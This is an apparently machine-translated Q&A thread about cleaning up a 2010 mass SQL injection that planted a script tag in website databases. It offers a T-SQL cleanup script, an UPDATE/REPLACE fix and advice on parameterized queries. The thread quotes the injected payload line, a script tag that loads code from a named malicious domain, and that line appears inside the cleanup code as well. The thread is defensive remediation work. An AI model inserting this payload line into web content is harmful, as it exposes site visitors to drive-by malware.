2010-09-21 2 views
9

Кто-нибудь знает дополнительную информацию об этой атаке?Расшифровка этой атаки XSS

Я недавно получил этот сценарий впрыскивается в моих веб-сайтов

Кстати не идут на данном веб-сайте, так как это источник инфекции

</title><script src=http://google-stats50.**fo/***.php> 

Какие атаки это, SQL или CODE?

Кстати не идут на данном веб-сайте, так как это источник инфекции

Вопрос заключается в том, что с помощью quind атак происходит это инфекционная атака?

Мы нашли его и не похожи на твиттер-атаку, это было по параметрам запроса в URL-адресе и впрыснуть sql непосредственно в параметр.

Существует SQL-скрипт изготовлять нашу команду SQL, чтобы очистить вашу базу данных, который был заражен

/************************************************************************* 
     SQL INJECTED DATABASE 
*************************************************************************/ 

DECLARE @dbName VARCHAR(200), 
     @SqlString NVARCHAR(MAX), 
     @SearchText VARCHAR(MAX), 
     @SearchTextLike VARCHAR(MAX), 
     @NbItems INT, 
     @TableName VARCHAR(255), 
     @ColoneName VARCHAR(255), 
     @objId BIGINT, 
     @tmpSqlString NVARCHAR(MAX), 
     @CleanUp BIT, 
     @RowCount BIGINT, 
     @debug BIT, 
     @Msg VARCHAR(MAX); 

SET @debug = 0; -- 1 = Additionnal prints 

SET @CleanUp = 0; -- 1 = Update tables 

SET @SearchText = '</title><script src=http://google-stats50.info/ur.php></script>'; 

SET @SearchTextLike = '%' + @SearchText + '%'; 

DECLARE @QueryResults TABLE (SqlString VARCHAR(MAX), TableName VARCHAR(255), ColoneName VARCHAR(255)); 
DECLARE @InfectedDB TABLE (InfectedDbName VARCHAR(255)); 
DECLARE @CleanedUpDB TABLE (DbName VARCHAR(255), Msg VARCHAR(MAX)); 
DECLARE @DbToValidate TABLE (DbName VARCHAR(255)); 

INSERT INTO @DbToValidate 
SELECT Name 
FROM sys.databases 
WHERE [state] = 0 AND 
     Name NOT IN ('master', 'tempdb', 'model', 'msdb') AND 
     Name NOT LIKE 'sys%' 
ORDER BY Name; 

DECLARE db_cusor CURSOR FOR 
SELECT DbName 
FROM @DbToValidate; 

OPEN db_cusor; 

FETCH NEXT FROM db_cusor 
INTO @dbName; 

WHILE @@FETCH_STATUS = 0 
BEGIN 
    SET @Msg = 'Traitement pour : ' + @dbName; 
    INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg); 
    PRINT @Msg; 

    IF (SELECT [state] FROM sys.databases WHERE Name = @dbName) = 0 
    BEGIN 
     IF @debug = 1 PRINT Char(13) + '1 - Processing Database : ' + @dbName; 

     --Vider le contenu 
     DELETE FROM @QueryResults; 

     IF @debug = 1 PRINT '2 - Vider la table @QueryResults'; 

     IF @CleanUp = 0 
     BEGIN 
      SET @SqlString = ' USE [' + @dbName + '];' + 
          ' SELECT ''SELECT @NbItems = COUNT(1) FROM ['' + tbl.Name + ''] WHERE ['' + col.name + ''] LIKE ''''' + @SearchTextLike + ''''''', tbl.Name, col.Name' + 
          ' FROM sys.tables tbl inner join' + 
          '   sys.columns col on tbl.object_id = col.object_id' + 
          ' WHERE col.system_type_id IN (35, 99, 167, 175, 231, 239) and tbl.Name not like ''sys%'''; 
     END 
     ELSE 
     BEGIN 
      SET @SqlString = ' USE [' + @dbName + '];' + 
          ' SELECT ''UPDATE ['' + tbl.Name + ''] SET ['' + col.name + ''] = REPLACE(CAST(['' + col.name + ''] AS VARCHAR(MAX)),''''' + @SearchText + ''''','''''''') FROM ['' + tbl.Name + ''] WHERE ['' + col.name + ''] LIKE ''''' + @SearchTextLike + ''''''', tbl.Name, col.Name' + 
          ' FROM sys.tables tbl inner join' + 
          '   sys.columns col on tbl.object_id = col.object_id' + 
          ' WHERE col.system_type_id IN (35, 99, 167, 175, 231, 239) and tbl.Name not like ''sys%''' 
     END 

     INSERT INTO @QueryResults     
     EXEC sp_executesql @SqlString; 

     --Validation pour les erreurs 
     IF @@ERROR <> 0 
     BEGIN 
      GOTO NEXTPRINC 
     END 

     IF @debug = 1 PRINT '3 - Récupérer les Query String'; 

     --Faire une loop sur les querys string pour voir s'il y a des injections SQL 
     DECLARE query_cursor CURSOR FOR 
     SELECT SqlString, TableName, ColoneName 
     FROM @QueryResults; 

     OPEN query_cursor; 

     FETCH NEXT FROM query_cursor 
     INTO @SqlString, @TableName, @ColoneName; 

     IF @debug = 1 PRINT '4 - Cursor sur les Query String'; 

     WHILE @@FETCH_STATUS = 0 
     BEGIN 

      SET @tmpSqlString = 'USE [' + @dbName + '];' + 'SELECT @objId = OBJECT_ID(''' + @TableName + ''');' 

      EXEC sp_executesql @tmpSqlString, N'@objId bigint output', @objId output 

      --Validation pour les erreurs 
      IF @@ERROR <> 0 
      BEGIN 
       GOTO NEXTINNER 
      END 

      IF ISNULL(@objId, -1) <> -1 
      BEGIN 

       SET @SqlString = 'USE [' + @dbName + '];' + @SqlString; 

       IF @CleanUp = 0 
       BEGIN 
        EXEC sp_executesql @SqlString, N'@NbItems int output', @NbItems output 
       END 
       ELSE 
       BEGIN 
        EXEC sp_executesql @SqlString 
        SET @RowCount = @@ROWCOUNT 
       END 

       --Validation pour les erreurs 
       IF @@ERROR <> 0 
       BEGIN 
        GOTO NEXTINNER 
       END 

       IF @CleanUp = 0 
       BEGIN 
        IF ISNULL(@NbItems, 0) <> 0 
        BEGIN 
         -- BD Infectée ! 
         INSERT INTO @InfectedDB VALUES (@dbName); 
         PRINT '**** BD Infectée : ' + @dbName; 
         SELECT * FROM @InfectedDB; 
         BREAK; 
        END 
       END 
       ELSE 
       BEGIN 
        IF @RowCount <> 0 
        BEGIN 
         SET @Msg = '**** Table --> [' + @TableName + '] .::. Colonne --> [' + @ColoneName + '] .::. Nb Rows --> ' + CAST(@RowCount AS VARCHAR(7)); 
         INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg); 
         PRINT @Msg; 
        END 
       END 

      END 

    NEXTINNER: 
      -- Get the next query. 
      FETCH NEXT FROM query_cursor 
      INTO @SqlString, @TableName, @ColoneName; 
     END 

     CLOSE query_cursor; 
     DEALLOCATE query_cursor; 

     IF @debug = 1 PRINT '5 - Vider cursor query'; 
    END 
    ELSE 
    BEGIN 
     SET @Msg = '**** La base de données n''est pas ''ONLINE''.'; 
     INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg); 
     PRINT @Msg; 
    END 

    SET @Msg = 'Fin traitement pour : ' + @dbName; 
    INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg); 
    PRINT @Msg; 

NEXTPRINC: 
    -- Get the next database. 
    FETCH NEXT FROM db_cusor 
    INTO @dbName; 
END 

IF @CleanUp = 0 
BEGIN 
    SELECT * FROM @InfectedDB; 
END 
ELSE 
BEGIN 
    SELECT * FROM @CleanedUpDB; 
END 

GOTO FIN 

FININNER: 
    CLOSE query_cursor; 
    DEALLOCATE query_cursor; 

FIN: 
    --Fermeture du cursor 
    CLOSE db_cusor; 
    DEALLOCATE db_cusor; 
+0

Я не знаю, что это такое и как его исправить, но Google показывает около 740 других сайтов, похожих на зараженных. –

+0

Donc измените URL-адрес скрипта, пожалуйста! –

+3

@ Cédric Скажите, пожалуйста, почему это хорошая идея, чтобы описать доменное имя этого опасного веб-сайта на первой странице веб-сайта, получающего 2,5 миллиона посещений в день. Вы пытаетесь _promote_ это ?! – badp

ответ

4

Просто случился с нами, а также. Почти каждая запись в базе данных.

Лучше всего сделать следующее: (мы только что сделали это успешно)

UPDATE [mytable] set [column] = 
    REPLACE([column], 
      '&lt;/title&gt;&lt;script src=http://google-stats50.info/ur.php&gt;', 
      '') 

Эта линия будет удалить скрипт из каждого поля. Вам придется вручную проверять поля и изменять инструкцию UPDATE.


Я предполагаю, что каждый из вас имеет форму на вашем веб-сайте с кнопкой отправки. Я также предполагаю, что действие forms включает в себя инструкцию sql с конкатенированным sql?

"INSERT INTO tbl_Contacts (name, email, enquiry) VALUES ('" & \ 
          name & "', '" & email & "', '" & enquiry & "');" 

Если это так, то вы получили SQL инъекции взломан, и вы, вероятно, следует изменить все операторы, использующие этот синтаксис для «параметризованных запросов»

"INSERT INTO tbl_Contacts (name, email, enquiry) VALUES (@name, @email, @enquiry);" 

sqlcommand.parameters.add("@name", SqlDbType.VarChar).Value = foo 
sqlcommand.parameters.add("@email", SqlDbType.VarChar).Value = bar 
sqlcommand.parameters.add("@enquiry", SqlDbType.VarChar).Value = baz 

Надеюсь, что это помогает ..

+0

@badp: Спасибо за уборку :) – Simon

2

У нас такая же проблема сегодня утром. классический случай внедрения sql: вы, похоже, не проверяете параметры, которые вы получили по URL-адресу. взгляните на журналы доступа к веб-серверу - вы увидите инструкции по обновлению!

+0

У нас точно такая же проблема сегодня утром. В некотором ответе скажите мне, что я не уверен, что это кодовая атака или атака непосредственно на сервере sql, потому что веб-сайт .net и веб-сайт asp classic были атакованы. –

3

Классическая атака XSS. Вы должны проверять свои входы для HTML-тегов и удалять их. Если вы позволяете людям размещать HTML-теги, вы должны использовать белый список для разрешенных тегов (и разрешенные атрибуты тегов, поэтому они не могут делать «onClick», например), а не пытаться блокировать их, о которых вы можете думать, что может вызвать беда.

+0

На веб-сайте не указаны формы –

+0

+1 для рекомендации по использованию белого списка. –

1

Недавно я исправил аналогичный взлом, каждый файл .asp, .js и .html на зараженном сервере содержал дополнительный скрипт, но база данных была нормальной. В этом случае взлом был сделан через FTP, пароль был недостаточно сильным. Может, что-то подобное случилось с тобой?

Я исправил его с помощью find-and-replace-all в текстовом редакторе, поддерживающем сразу несколько документов. (notepad ++)

+0

В моем случае база данных заражена, страница отображается из содержимого базы данных –

Смежные вопросы